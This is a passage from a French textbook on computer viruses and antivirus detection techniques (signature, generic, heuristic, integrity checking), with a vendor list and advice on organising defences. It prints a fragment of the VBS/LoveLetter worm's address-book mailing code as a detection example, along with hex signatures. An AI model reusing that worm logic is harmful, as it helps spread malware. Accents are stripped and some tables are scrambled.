Un langage de scripts est un langage de programmation spcialis destin contrler lenvironnement dun logiciel. Interprt, il peut donc tre excut sur toute machine disposant de linterprteur appropri. Deux des plus utilises sont VBScript et JavaScript. Pour les raisons dj expliques plus haut, nous ne nous tendrons pas non plus sur ces virus dont les lments intressants ont t dcrits dans le chapitre ddi aux vers.

7.2.1 VBScript
VBScript a t cr partir de VBA et de Visual Basic. Il repose sur du code source en clair et non sur du code compil tel que celui des applets. Tout un chacun peut donc voir et modifier le code des scripts quil rencontre. VBScript doit tre aussi considr comme un langage autonome. Avec larrive des nouvelles versions de Windows, il a dtrn les chiers de traitement par lots composs dune srie de commande DOS (chiers batch). Les premiers virus purement VBScript datent doctobre 1998. En raison de leurs capacits de propagation hors du commun, lun des alias donn au premier n de la famille fut rabbit. Leur nombre a ensuite augment paralllement la gnralisation de ce nouveau langage. Ils ne se propagrent srieusement qu partir de juillet 1999 lorsquils devinrent vers de messagerie.
Tableau 7.5 Classification des virus de script TYPE Recouvrement
Dunod La photocopie non autorise est un dlit

NOM DU VIRUS VBSV.A, VBSV.B VBSV.C VBS/CBABM VBS/ZULU VBS/HAPPY VBS/CHARLENE.B VBS/BREAK.A VBS/HOPPER VBS/FREELINK@MM VBS/MONOPOLY@MM

ALIAS VBS/FIRST, VBS/RABBIT

DATE 10/98 10/98

Lien avec Java Script Ajout Crypte Lien avec VBA Lien avec HTML Multi-application avec VBA Multi-application avec VBA & HTML Ver

VBS/SEVEN, VBS/777 VBS/LUSER W97M/COLDAPE.A

11/98

11/98 12/98

W97M/BREAK.A W97M/HOPPER.G

11/98 04/98 07/99 08/99

220

Chapitre 7. Macro-virus et virus de script

7.2.2 Java et JavaScript


Java est un langage cr par Sun Microsystems. Il est comparable au C++ et orient objet. Il est indpendant de toute plate-forme. Son excution ne ncessite que la prsence du processeur virtuel Java Virtual Machine. Java permet de raliser deux types de programmes: des applets et des applications. Alors quun applet nest quune forme hybride de programme incorpor un document HTML, Java permet aussi la ralisation dapplications intgres compltes et autonomes qui peuvent avoir le contrle total du systme. JavaScript nest pas Java ! En effet, si Java est un langage compil, JavaScript, dvelopp par la socit Netscape, est interprt. Le code est inclus soit dans une page HTML, soit dans un chier lextension standard .js. Du point de vue viral, notez bien la distinction faite au niveau du prxe : JV pour Java. JS pour JavaScript. titre dexemple, JS/TheFly@MM est un ver JavaScript. Il est contenu dans un chier attach nomm the_y.chm1. En novembre 1998, certains experts parlrent de virus HTML. Il sagissait en fait de code VBScript capable de se propager via des chiers HTML sur une machine locale. Citons comme exemple : JS/Kak@M. Du ct de Java, le virus JV/Strange Brew est apparu en aot 1998. Il sagissait du premier virus natif. Il est capable dinfecter aussi bien les applets que les applications. Ses capacits dinfection sont cependant limites. Un applet infect ninfectera pas un autre applet ni une application et il ne peut se propager que depuis une application locale infecte en utilisant java.exe2 ou lun de ses quivalents. JV/Strange Brew est parfois considr comme tant le premier virus vritablement multi plates-formes car il est capable de svir sur nimporte quel environnement excutant une machine virtuelle Java depuis les PC Windows 95 jusquaux serveurs Unix et aux super calculateurs Cray.

7.2.3 Traitement par lot


Bien avant lapparition des langages interprts modernes, certains auteurs se sont appliqus crer des virus utilisant les commande DOS au sein de fichiers batch (extension .bat). Mme sils sont peu courants, certains dentre eux sont trs sophistiqus et peuvent tre rsidents en mmoire. Citons titre dexemple les virus de la famille Batman.
1. CHM : Compiled HTML Help File. 2. kit JDK Java Developpers Kit.

8
Les logiciels anti-virus

Les prcdents chapitres nous ont aids mieux connatre notre ennemie. Nous allons maintenant nous attacher comprendre le fonctionnement du principal outil qui sert le combattre. Sur plus de 60 socits rfrences au niveau mondial, une quinzaine se partage le march franais. La plupart dentre elles sont dignes de conance, et leurs produits, sils sont correctement dploys et mis jours offrent un niveau de scurit correct. Le prsent chapitre ne traitera que des logiciels anti-virus. Il est cependant indispensable de rappeler que sa seule utilisation ne sufra plus garantir un niveau de scurit sufsant. Dans la pratique, il faudra lui adjoindre : Un pare-feu. On linstallera au niveau du poste de travail autonome et/ou au niveau de la passerelle Internet. Un appliance ou un logiciel de dtection (IDS) ou de prvention (IPS) dintrusion.

8.1 LES MTHODES DE DTECTION


La plupart des anti-virus ne mettent pas en uvre une seule mthode de dtection, mais un panachage de celles ci. Cest leurs qualits et le dosage de lune par rapport lautre qui font la diffrence. Au nombre de cinq, elles ont chacune leurs particularits et leurs limites : La recherche pas signature. La recherche gnrique. Le contrle dintgrit.

222

Chapitre 8. Les logiciels anti-virus

La recherche heuristique. Le monitoring de programme. lexception du dernier point, ces mthodes peuvent tre mises en uvre la demande de lutilisateur ou sactiver automatiquement sur accs un chier ou une ressource. Ces modes sont aussi appels statique et dynamique. Chaque mthode a ses limites ; les auteurs de virus les connaissent parfaitement. Ils dcouvrent rgulirement de nouveaux subterfuges qui peuvent leurrer les scanners heuristiques, gnriques ou comportementaux. Ces moteurs intelligents sont donc, eux aussi, rgulirement amliors et lutilisateur doit suivre ces volutions. Les anti-virus sont sujets des fausses alertes que les mises jour corrigent aussi au l du temps.

8.1.1 La recherche par signature


Voici le procd le plus connu. Cest la technique du scanner base sur une recherche de chanes de caractres. Le procd est fiable mais ncessite des mises jour frquentes. Face aux virus polymorphes et aux fichiers compresss, il requiert souvent la mise en place dalgorithmes spcifiques, lefficacit incontestable. Pour limiter les temps danalyse, seules les zones sensibles sont parcourues par le scanner. Elles sont dtermines en fonction du chier analyser et du virus rechercher.
Tableau 8.1 Zone de recherche privilgier selon le virus recherch Zones de recherche privilgies Virus systme Virus programme (W32) Macro-virus Virus de script Vers Premier secteur physique du disque dur Premier secteur logique de chaque partition Voisinage du point dentre (EP-RVA) Dernire section Espace ddi au stockage des macros Dbut de fichier Portion de code significative un offset prdtermin. Portion de code significative un offset prdtermin.

La recherche par signature ne se limite pas celle dune chane de caractre stable comme vont nous le montrer les quelques exemples suivants. Ceux ci ont t simplis lextrme dans un souci de clarication.

8.1 Les mthodes de dtection

223

Recherche triviale
Aprs stre positionn au point dentre, lantivirus recherche immdiatement une chane caractristique du virus. La fausse alerte est dans ce cas fort improbable. Sil est ncessaire daffiner la dtection, il ne sagira que de diffrencier dventuelles variantes pour permettre une radication correcte.

Figure 8.1 Exemple dune recherche simple W95/CIH.1031

Recherche avec jokers


Aprs stre positionn 13 octets aprs le dbut de la dernire section, lantivirus recherche une chane caractristique du virus. La fausse alerte est possible. Il pourra savrer ncessaire de rechercher un autre signe distinctif, typique du virus.

Dunod La photocopie non autorise est un dlit

Figure 8.2 Exemple dune recherche avec jokers W32/Grand!p2p

224

Chapitre 8. Les logiciels anti-virus

Recherche dun checksum


Sur certains fichiers, il est parfois difficile de se limiter la recherche dune ou plusieurs chanes de caractres. Ceci est particulirement vrai lorsque le virus est un ver dont le code a t compress dans un fichier auto-extractable ou compil depuis une plate-forme Visual Basic ou Delphi. Il est alors possible de raccourcir le temps de traitement en limitant la recherche une correspondance de checksum sur une zone prdtermine. Cette mthode a un autre avantage. Les outils de compression (UPX, AsPack, Petite) se doivent de laisser en ltat certaines zones que lexplorateur Windows doit immdiatement pouvoir sonder. Dans le cas dun ver ou dun chier compagnon, le checksum de cette zone reste inchang sur des variantes pouvant avoir t cres aprs lemploi de tel ou tel compacteur.

Figure 8.3 Exemple dune recherche par checksum W32/Yarner@MM

Recherche avance
De nombreuses techniques de camouflage interdisent lutilisation immdiate du scanner. Elles ont fait dire de tout temps aux dtracteurs de cette mthode de dtection quelle tait inadquate et inefficace dans de nombreux cas. Ceci est inexact, car ds lapparition des premiers virus crypts, les fabricants dantivirus ont ragi en intgrant des fonctions dmulation de code machine pour simuler lexcution de certaines routines virales. Ces techniques voluent encore aujourdhui et permettent de faire face la plupart des techniques anti-dbug que les auteurs de virus sefforcent de mettre en place. Lanti-virus devient ainsi capable de pntrer un virus chiffr pour lexaminer dans sa forme dcrypte et lui appliquer les mmes mthodes de dtection que celle employes pour les virus plus simples.

8.1 Les mthodes de dtection

225

Figure 8.4 Exemple dune recherche avance W32/Anvil

De rares virus restent rsistant cette technique. Lune des raisons dcoule du temps de traitement. Sur un Pentium III, W32/Crypto rclame parfois plus de 10 minutes pour raliser son dcryptage. Les routines sont simples mais plus de 43 millions dinstructions sont ncessaire pour en venir bout. Dautres virus tels que W32/SUK ou W32/Zmist1 ont ncessit la mise en place de routines spciques. Il sagit toujours dune recherche de code mais celle ci passe par lapplication de processus minemment complexes.

Moniteur de virus
Les anti-virus offrent un module rsident qui met en uvre, de manire dynamique, cette mthode lors des accs aux fichiers ou aux disquettes ; on parle alors parfois de moniteur de virus. Ce type de procd a toujours eu du mal coexister sur les vieilles plates-formes DOS/Windows3.x ; il tait gourmand en mmoire et ralentissait les traitements.
Dunod La photocopie non autorise est un dlit

Il est devenu efcace sous les environnements actuels mais doit alors faire corps avec le systme dexploitation (produit 32 bits, service NT).

8.1.2 La recherche gnrique


En mode rsident ou la demande, la recherche gnrique peut tre considre comme une recherche par signature que lon qualifiera de floue. Pour une mme famille de virus, il est gnralement possible disoler des squences de code la structure identique. Elles sont souvent lies des processus dinfection ou de camouflage (cryptage, polymorphie, anti-dbug). Ces squences peuvent correspondre du code compil ou des brides dinstructions spcifiques rencontres dans un langage interprt quelconque.
1. FERRIE Peter & SZOR Peter (2001), Zmist Opportunities, Virus Bulletin, mars 2001. pp 6-7.

226

Chapitre 8. Les logiciels anti-virus

Un travail danalyse permet disoler ces lments constants. Le rsultat se prsente sous la forme dune ou plusieurs chanes hexadcimales ou ASCII accompagnes, ou non, de jokers. Celles ci ne sont pas recherches un endroit prcis mais au sein dun intervalle que le chercheur doit galement dnir. La seule localisation de ces indices dans une zone adquate du chier indiquera la prsence du virus. Il pourra alors sagir dune variante connue ou encore inconnue. Les souches dtectes sont annonces sous un nom gnral du type : VBS/LoveLetter.gen@MM ou W32/ Gara.gen@MM.

Figure 8.5 Technique de Recherche Gnrique

Dans lexemple ci-dessus, deux chanes typiques du virus W32/Gara ont t isoles. Elles se situent au sein des 100h premiers octets du code viral et sont prsentes pour toutes les variantes. Cest lindice principal qui permet dannoncer la prsence du virus.
Tableau 8.2 Localisation des indices lis W32/Gara.gen Suffixe de Variante virus W32/GARA offset 1 on y trouve le code : 0F 01 4C 24 FE 5A 83 C2 xx 7Ch 01h 26h 26h offset 2 on y trouve le code : 68 xx xx xx xx C3 B5h 7Fh 5Ch 5Ch

888B 640 842A 842B

8.1 Les mthodes de dtection

227

884 888A 917 928 961 640

26h 29h 26h 29h 29h 01h

5Fh 5Fh 5Fh 62h 62h 84h

La mthode gnrique sapplique particulirement efcacement aux macro-virus et aux virus de script. La seule prsence de certaines instructions lies un processus dauto reproduction apporte la suspicion : Wscript.Shell Outlook.Application Mapi.AddressLists Le doute ne sera plus possible si certains noms de variables connus sont aussi rencontrs.
On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1
Figure 8.6 Code suspect rencontr dans certaines variantes
Dunod La photocopie non autorise est un dlit

de VBS/LoveLetter@MM

Dans le cas de Loveletter, de nombreuses variantes utilisent les variables : ctrentries, b, regedit, regv, regad.

Tous ces indices mis bout bout permettent de dtecter, laide dun seul ensemble de rgles, plus de 50 variantes du virus. La recherche gnrique est galement trs efcace dans la recherche de programmes non-auto reproducteurs inconnus.

228

Chapitre 8. Les logiciels anti-virus

8.1.3 Le contrle dintgrit


Tout comme les mthodes prcdentes, le contrle dintgrit est un procd capable de fonctionner en mode statique ou dynamique. Sachant que toute action virale saccompagne dune modication (des chiers sont modis, ou dautres sont crs) la surveillance dbute par ltablissement dune photographie de rfrence ou code checksum1. Celle ci sopre dans un environnement rput sain. Les donnes sont ensuite compares au l du temps. Si le certicat a chang (chier modi) ou sil est absent (chier ajout), une alerte est mise. Cette mthode est en thorie infaillible. Des expriences ont cependant t menes par le pass dmontrant quil tait possible dautomatiser la cration de couples de chiers (avant et aprs modication) rpondant au mme checksum. Il a ainsi t possible de tromper certains contrleurs dintgrit pour peut que lon en dcouvre la loi mathmatique interne. Le procd a nanmoins t frquemment utilis dans les environnements MSDOS et son abandon na rien voir avec une ventuelle fragilit. Celui ci peut tre durci par renforcement de lalgorithme (CRC 32 bits, CRC 64 bits). Les raisons de la perte dintrt de la mthode sont multiples. En premier lieu, la technique suppose que le poste de travail nest pas infect linitialisation de la base de rfrence. De nombreuses stations avec un virus systme ou un ver rent ainsi lobjet dune vaccination. Il fallut attendre plusieurs mois, et lutilisation dun scanner jour pour sapercevoir de linfection. En second lieu, elle ne peut efcacement sappliquer que sur des quipements stabiliss, exempts de modication, dajout et de suppression frquente de logiciel. Si ce nest le cas, seules les zones systmes et quelques rpertoires pourront bncier de la protection. Il faudra par ailleurs la dsactiver chaque mise jour, et sassurer de la provenance et de la qualit des nouveaux chiers qui seront considrs comme sain. Certains excutables subissent, de par leur conception, des modications priodiques. Pour ne pas avoir grer de fausses alertes. Ils devront tre exclus du processus de vrication. De mme, les documents bureautiques modernes resteront souvent vulnrables. Ils contiennent des macros quil faut surveiller, cot de donnes qui sont incessamment et par dnition constamment modies. Notons enn quen cas dalerte, la dcision dinterdire ou dautoriser la modication reste la charge de lutilisateur nal. Celui ci devra donc dcider, en son me et conscience, sil affaire un virus ou une opration lgitime. Cette dcision est minemment complexe et les consquences dune erreur de choix peuvent entraner aussi bien une infection virale quun plantage du systme. Les ordinateurs sont aujourdhui interconnects, leurs utilisateurs tlchargent chaque jour des dizaines de chiers et installent de frquentes mises jour. Lespace

1. CRC : code de redondance cyclique.

8.1 Les mthodes de dtection

229

stabilis au sein dune machine samenuise inexorablement et explique la disparition de la mthode comme procd principal de lutte anti-virale. Plutt que de crer une base de rfrence, certains logiciels marquent les chiers en leurs ajoutant, comme le font de nombreux virus, quelques octets. Cette mthode est dangereuse plus dun titre : le retour en arrire nest pas toujours optimal et la modication du code source dun programme peut rserver un jour ou lautre des surprises

8.1.4 La recherche heuristique


La recherche heuristique sapparente une recherche de singularits au sein des fichiers analyss. Elle ne sappuie pas sur la connaissance particulire de lensemble des variantes dun mme virus, mais sur la structure des fichiers analyss et sur la prsence en nombre plus ou moins consquent dinstructions essentielles lensemble dune famille virale (macro-virus, excutables W32, etc.). En 1995, Frans Veldman exposait la mthode heuristique mise au point pour TbScan1. Le produit tait mme de dtecter toute une srie dlments suspects au sein des excutables DOS. Un indicateur tait affect chacun dentre eux :
Tableau 8.3 Liste des indicateurs des lments suspects au sein des excutables DOS F R A N S
Dunod La photocopie non autorise est un dlit

Accs suspect vers dautres fichiers. Le programme semble contenir un processus dinfection. Relocation. Le code se reloge en mmoire de faon suspecte. Allocation Mmoire Suspecte. Lallocation mmoire utilise une mthode non standard. Extension non conforme. Aux vues de la structure du programme, lextension du fichier nest pas conforme ce quelle devrait tre. Routine de recherche dexcutables (.COM ou .EXE). Routine de dcryptage. Point dEntre flexible. Le code semble construit pour permettre une introduction facile au sein dun excutable quelconque. Capacit dintercepter dautres programmes se chargeant en mmoire. Ecriture en mode physique. Le programme crit sur le disque sans passer par le DOS.

# E L D

M Rsident en mmoire. ! T Opcodes invalides et sauts en erreur. Date et heure incorrecte.

1. VELDMAN Frans (1995), Heuristic Anti-Virus Technology, Disponible ladresse : http://www.madchat.org/vxdevl/papers/av-oriented/heuris.txt.

230

Chapitre 8. Les logiciels anti-virus

J ? G U Z O B K

Une succession de saut Entte de fichier incorrecte. Code inutile et superflu. Appel une interruption DOS non documente. Routine de dtermination EXE ou COM Routine de dplacement ou dcrasement despace mmoire. Routine de re-direction sur Point dEntre modifi. Utilisation inhabituelle de la pile mmoire (zone de stack).

La pertinence de ce modle de recherche fut facilement dmontre lorsquil fut appliqu des familles virales connues.
Tableau 8.4 Modle de recherche heuristique applique quelques virus connus FAMILLE VIRALE Jerusalem Backfont Ghost Murphy Ninja Tolbuhin Yankee_Doodle FRLMUZ FRALDMUZK FELDTGUZB FSLDMTUZO FEDMTUZOBK ASEDMUOB FN#ELMUZB VALEUR DE LINDICATEUR

Des fausses alertes, inconvnients de la mthode, ne manqurent pas dapparatre. Bien connu des programmateurs DOS, le programme loadhi.com1 devint un moment suspect aux yeux de TbScan. Lindicateur retournait la valeur AMUZO. Aujourdhui encore, la parade consiste reconnatre ces programmes lgitimes pour les liminer dofce avant, aprs ou pendant lanalyse. Il est tout fait possible de revisiter la mthode ci-dessus pour lappliquer aux programmes actuels. Pour des chiers binaires Windows suspects, il est possible de citer : Un point dentre dans la dernire section. Un point dentre avant la premire section.
1. Loadhi.com : lment du gestionnaire de mmoire QEMM.

8.2 Les principaux concepteurs de produits anti-virus

231

Un saut inter-section. Des caractristiques de sections inattendues. Un nom de section inattendu. Une boucle de dcryptage simple ou polymorphe au point dentre. Des instructions inattendues (fonctionnalits dmission de mails, instructions lies des exploits connus ou des squences anti-dbug).

8.1.5 Le monitoring de programmes


Il sagit ici danalyse comportementale. Elle repose sur lanalyse dynamique des oprations de lecture et dcriture en mmoire ou sur un support physique. Citons simplement titre dexemple trois vnements majeurs quil semble bon de surveiller : Lcriture en mode physique sur un disque dur. La recopie de fichiers entrants dans un rpertoire systme. La modification de la base de registres par un programme non autoris. Par le pass, cette mthode fut parfois directement couple lanti-virus. Son principal dfaut tait le dclenchement dalertes intempestives quun utilisateur non averti ntait pas toujours mme dinterprter : sagissait-il dune manifestation dun virus inconnu ou dun fonctionnement normal ? On remarquait aussi, pour certains produits, un blocage brutal de lapplication en cour lorsque celle ci tait dsigne comme suspecte. Sous Windows95, cela sest savr frquemment dangereux ; cette poque nombre de ces produits de scurit ne semblaient pas matriser la technologie 32 bits. Aujourdhui, ce procd est mis en oeuvre au sein de produits rservs cette effet. La phase dinstallation de ces logiciels ddis dbute par un apprentissage et une reconnaissance des oprations lgitimes. La dtection qui en rsulte dpasse largement la sphre anti-virale pour sattacher prvenir tout type dintrusion. Ces nouveaux produits deviennent indispensables alors que la frontire en auteurs de virus et criminels informatiques de tout bord samenuise de jour en jour.

Dunod La photocopie non autorise est un dlit

8.2 LES PRINCIPAUX CONCEPTEURS DE PRODUITS ANTI-VIRUS


Le tableau ci-aprs regroupe les principaux fournisseurs danti-virus. Ces informations sont sujettes changement ; elles taient valides en septembre 2004.

232

Chapitre 8. Les logiciels anti-virus

Tableau 8.5 Les principaux constructeurs de produit anti-virus ANTI-VIRUS (STATION DE TRAVAIL) V3Pro Deluxe eSafe

COMPAGNIE AhnLab Aladdin Knowledge Systems Alwil Trade Ltd Authentium CAT Computer Services Pvt. Ltd. Central Command Inc Computer Associates CyberSoft Eset

SITE WEB & CONTACT http://info.ahnlab.com/english/ http://www.ealaddin.com/ http://www.allasso.fr aladdin@allasso.fr http://www.asw.cz/index.html http://www.alwil.com http://www.authentium.co.uk/index.cfm http://www.quickheal.com/ http://www.quickheal.cite-net.fr amally@cite-net.fr http://www.centralcommand.com/index.html http://ca.com/offices/belgium/french/ infos.belux@ca.com http://www.cybersoft.com http://www.nod32.com/home/home.htm www.lgr.fr nod32@lgr.fr http://www.f-prot.com/index.html http://www.hermitagesolutions.com/public/ pages/32000.php http://www.f-secure.com/ france@f-secure.com http://www.gdata.de/ b-vertrieb@gdata.de http://www.ravantivirus.com/pages/ info@ravantivirus.com http://www.ggreat.com/ http://www.avgfrance.com http://www.hbedv.com/ http://www.hauri.net/ info@hauri-europe.com http://www.ikarus-software.at/portal/index.php office@ikarus.at

AVAST ! Command Antivirus Quick Heal

Vexira ETrust Antivirus VFind NOD32

Frisk Software International F-Secure G DATA GeCAD Software Ggreat Grisoft H+BEDV Datentechnik GmbH Hauri Ikarus Software

F-Prot

F-Secure Anti-Virus AntiVirenKit RAV AntiVirus ZLOCK AVG Anti-Virus AntiVir ViRobot Virus utilities

8.2 Les principaux concepteurs de produits anti-virus

233

COMPAGNIE Kapersky Lab Leprechaun McAfee MicroWorld Technologies Inc. MkS Sp z o.o. NetZ Computing Ltd New Technology Wave Inc. Norman ASA Panda Software PER SYSTEMS S.A. Prognet Technologies Proland Software Rising Softwin

ANTI-VIRUS (STATION DE TRAVAIL) KAV VirusBUSTER II VirusScan eScan mks_vir InVircible Virus Chaser Norman Virus Control Titanium Antivirus Per Antivirus Fire anti-virus Protector Plus Rising Antivirus Software Bit Defender

SITE WEB & CONTACT http://www.kaspersky.com/fr/ info@fr.kaspersky.com http://www.leprechaun.com.au/ http://www.mcafee.com/fr/ http://www.mwti.net http://www.mks.com.pl/english.html support@mks.com.pl http://invircible.com http://www.viruschaser.com/Eng/index.jsp http://www.norman.com/fr/support.shtml http://www.pandasoftware.com/fr/ standard@pandasoftware.com.fr http://www.perantivirus.com/ http://www.fireav.com/company/contact.htm http://www.pspl.com http://www.rising-eu.com/ http://fr.bitdefender.com/bd/site/page.php http://www.editions-profil.fr commercial@editions-profil.fr http://www.sophos.fr/ info@sophos.fr http://www.antivirus-download.com/ http://www.sald.com/

Dunod La photocopie non autorise est un dlit

Sophos SRN micro systems St.Petersburg antivirus laboratory by Igor Daniliff (SalD Ltd.) Symantec Tegam International

Sweep Solo Antivirus Dr.Web

Norton AntiVirus Viguard

http://www.symantec.fr/ http://www.viguard.org/fr/intro_fr.php service-commercial@tegam.fr

234

Chapitre 8. Les logiciels anti-virus

COMPAGNIE Trend Micro Vcatch VirusBuster Kft.

ANTI-VIRUS (STATION DE TRAVAIL) PC-cillin Vcatch VirusBuster

SITE WEB & CONTACT http://fr.trendmicro-europe.com/ http://www.vcatch.com/index.html http://www.virusbuster.hu/en/

9
Organiser la lutte anti-virale

Lorganisation de la lutte anti-virale passe par la mise en place doutils de dtection et de prvention depuis le poste de travail jusquaux passerelles. Il faut aussi mettre en uvre, puis respecter dun certain nombre de grandes rgles, souvent pleines de bon sens. cot de celles-ci des mesures plus terre terre, des modifications de paramtrage dans la configuration par dfaut des systmes dexploitation et des logiciels bureautiques, permettront de mieux coller la ralit de la menace qui se diversifie. Ce sont ces divers points qui vont tre abords dans ce chapitre.

9.1 LES GRANDES RGLES RESPECTER


Lanti-virus comme seul parade aux virus informatiques actuels ne suffit plus. Certains virus et vers utilisent de nouvelles mthodes de propagation et daction : Ils ne rsident quen mmoire vive et se propagent via le flux Internet. Ils exploitent des failles lies au systme dexploitation et au rseau. Ils sassocient des outils de piratage. Ils utilisent la technique du spam pour initialiser leur propagation.

Jinvite le lecteur consulter le Rfrentiel Dunod ddi la protection des systmes dinformation1. Dans le chapitre ddi la lutte anti-virale jy prsente, avec
1. Ce Rfrentiel se veut tre la bible la fois du responsable scurit et de tous ceux qui, sans occuper cette fonction, sont confronts la mise en uvre ou la gestion des politiques de scurit.

236

Chapitre 9. Organiser la lutte anti-virale

laide de mes collgues du CLUSIF, la sphre informatique comme une srie de niveaux concentriques avec : Les ressources propres lutilisateur. Les ressources partages. Les passerelles. Le monde extrieur.

Chacun de ces espaces peut tre attaqu et doit tre rglement. Les lignes de ce sous-chapitre sont une reprise partielle de la section du Rfrentiel ddi lorganisation de la lutte anti-virale.

9.1.1 Les ressources propres lutilisateur


Il sagit principalement du poste fixe ou nomade. Lhomme moderne ajoutera sa panoplie un PDA et envisagera linvestissement pour un tlphone de troisime gnration. La protection du poste de travail est dterminante. Il doit tre quip de son propre anti-virus. Mme si le virus pntre la passerelle Internet dans un format non reconnu, mme sil nest pas dtect sur le serveur, il doit tre intercept avant que lutilisateur nait son poste infect. Maintenir jour le logiciel antivirus de la station de travail est lune des taches les plus ardues de ladministrateur systme. Ceci est spcialement le cas sur les quipements nomades qui ne sont pas connects en permanence au rseau. Les socits dveloppant des anti-virus offrent leurs propres outils de dploiement. Ds quun parc informatique devient moindrement important, leur utilisation devient indispensable. Il est aussi impratif de pouvoir verrouiller la conguration choisie an dviter une modication de la conguration ou une dsactivation volontaire ou involontaire du produit. Associ lanti-virus, le pare-feu personnel est indispensable. Il permet le passage slectif des ux dinformation entre la machine et le rseau interne et/ou public. Il protge le poste nomade et le poste install dans lentreprise des attaques venant du NET et le rseau dentreprise des attaques pouvant venir du poste de travail. Le pare-feu personnel sinstalle directement sur la machine de lutilisateur, quil soit un particulier ou un employ nomade de lentreprise. Les mises jours critiques qui sappliquent au systme dexploitation doivent tre appliques de manire rigoureuse. Pour le poste de travail, lautomatisation de linstallation des correctifs de scurit demeure loption recommande. Les personnes ayant une connexion lente peuvent demander Microsoft lenvoi dun kit qui contient lensemble des mises jour critiques pour Microsoft Windows.

9.1 Les grandes rgles respecter

237

Des offres de scurits existent aujourdhui pour les PDA. Elles protgent ces quipements contre les quelques virus et chevaux de Troie actuels.

9.1.2 Les ressources partages


Le poste de travail nest pas isol, dans lentreprise, il sinterface avec des serveurs de donnes ou de fichiers. Lutilisateur a aussi sa disposition des imprimantes multifonctions modernes et des photocopieurs numriques qui sont eux seuls de vritables ordinateurs. Lapplication des mises jours critiques, des correctifs (patchs) et des mises jour applicatives ou systmes stendent aussi aux ressources partages. Les administrateurs doivent de prfrence utiliser des outils ddis qui en greront le dploiement. Ces gestionnaires de correctif et de conguration aideront et superviseront tout les processus de mise en place. Rappelons quil est trs fortement dconseill de naviguer sur Internet partir dun serveur. Ce procd semble trs pratique pour rcuprer un correctif, consulter une base de connaissances, mais il vaut mieux le faire dune autre station, et obliger les intervenants extrieurs faire de mme. Mme si lanti-virus risque dinduire une dgradation dans la vitesse du trac, celui ci est fortement conseill en entre/sortie des serveurs de donne partags. Il ne faut pas ngliger trop rapidement les priphriques modernes. Ils peuvent contenir un systme dexploitation vulnrable et faire lobjet dattaques de tout ordre, y compris virales.

9.1.3 Les passerelles


Avec la passerelle Internet, le serveur de messagerie et le routeur, nous sommes la porte dun monde qui peut savrer hostile. La mise en place dun anti-virus et dun pare-feu est ici de la plus grande importance. En complment des quipements personnels, ceux-ci complteront les dispositifs prcdemment dcrits en protgeant le rseau interne de lentreprise lorsque celui-ci dbouche vers lextrieur. Les antivirus pour passerelles devront traiter le plus grand nombre de types de trac (FTP, HTTP, SMTP) et savoir analyser un large panel de formats de documents. La certication de lantivirus face aux systmes dexploitation accueillant les serveurs de messagerie et de chiers en sera le principal atout. Le contrle de contenu est une solution de surveillance ddie la messagerie lectronique et la navigation Internet (HTTP, FTP). Outre le fait que certains de ces outils savent dtecter les virus et autres codes malveillants, ils permettent une analyse lexicale par mots cls dans les mails ou dans les URL. Linstallation dun logiciel anti-spam permettra de bloquer ou de limiter la prolifration des messages non-sollicits ou les phnomnes de mailbombing.

Dunod La photocopie non autorise est un dlit

238

Chapitre 9. Organiser la lutte anti-virale

Les solutions IDS et IPS combinent logiciel et matriel. Fonctionnant comme des solutions anti-virus ou anti-spam, les systmes de dtection dintrusions (IDS Intrusion Prevention System) se rfrent une base de signatures dattaques connues. Elles ne peuvent dtecter que celles dont elles possdent la signature. An de donner leur solution plus de ractivit lorsquune attaque surgit, certains diteurs ont dcid de transformer leur offre en IPS (Intrusion Prevention System). Ils axent leur technologie vers la prvention proactive, capable de ragir en temps rel lorsque quune anomalie est dtecte ou quune intrusion est avre. Lquipement fonctionne selon des rgles de comportement et de signatures dattaques, il surveille les attaques en dpassement de tampon (buffer overow), les lvations de privilges, les chargement en mmoire et les modications critiques du systme dexploitation, lutilisation excessive du CPU, la diminution soudaine de la bande passante, etc. Ces quipements signalent des divergences par rapport au fonctionnement normal des lments surveills. Contrairement au pare-feu, qui traite des requtes et les interdit, un tel systme les analyse de faon continue et ne ragissent quen cas danomalies.

9.1.4 Le monde extrieur


Une fois lentreprise scurise, le monde extrieur na pas disparu. Le particulier est aujourdhui la principale cible des virus, son ordinateur devient ainsi le principal pollueur du NET. Tout ordinateur domestique est une source potentielle dattaque au regard du virus quil est susceptible de renfermer, celui ci peut mme parfois contenir : Un module dattaque cibl. Des URL et adresses de messagerie prcises et lies une entreprise particulire. Des scanners de vulnrabilit peuvent permettre de faire un audit en valuant la rsistance des machines au sein dun rseau protg. Un outil efcace doit savoir dtecter les failles et prconiser des solutions.

9.1.5 La dimension humaine


En temps quutilisateur ou administrateur systme, lhomme se retrouve acteur et responsable tous les niveaux. La formation et linformation doivent tre au cur du dispositif organisationnel. La sensibilisation nest jamais dfinitivement acquise, elle doit faire lobjet de rappels priodiques et adapts. Ces dispositions doivent se concrtiser dans : Une politique de charte. Un rglement intrieur.

9.2 Techniques de protection

239

En entreprise, il est possible de nommer des correspondants scurits qui pourront servir de relais bidirectionnels dans leur environnement proche. En prise directe avec les utilisateurs, la cellule de soutien technique (HelpDesk) doit travailler en lien troit avec lquipe scurit. Elle doit savoir comment ragir face aux interrogations des utilisateurs et valuer la pertinence dune mise jour force et anticipe des outils de protection. Elle doit aussi pouvoir valuer un risque ponctuel imposant un changement temporaire du niveau de scurit appliqu (blocage dune nouvelle extension de chier, passage au mode danalyse heuristique, etc.). Selon limportance de lentreprise ou envisagera ou non, la mise en place dquipes dastreinte (pour la veille technologique et lintervention) pouvant aller jusquau 24/24 7 jours sur 7.

9.1.6 La politique des mises jour


La mise en place de procdures automatiques doit se calquer sur la priodicit des mises disposition de mises jour par le fournisseur de lanti-virus install. Seule cette acceptation peut permettre une ractivit suffisante face aux menaces actuelles. Ces mises jour automatiques peuvent se faire de manire ordonnance en privilgiant le primtre et les serveurs vitaux. On noubliera pas dappliquer de manire rgulire les correctifs lis aux systmes dexploitation. Se calquant sur Microsoft, il est souhaitable denvisager des mises jour mensuelles.

9.2 TECHNIQUES DE PROTECTION


Dunod La photocopie non autorise est un dlit

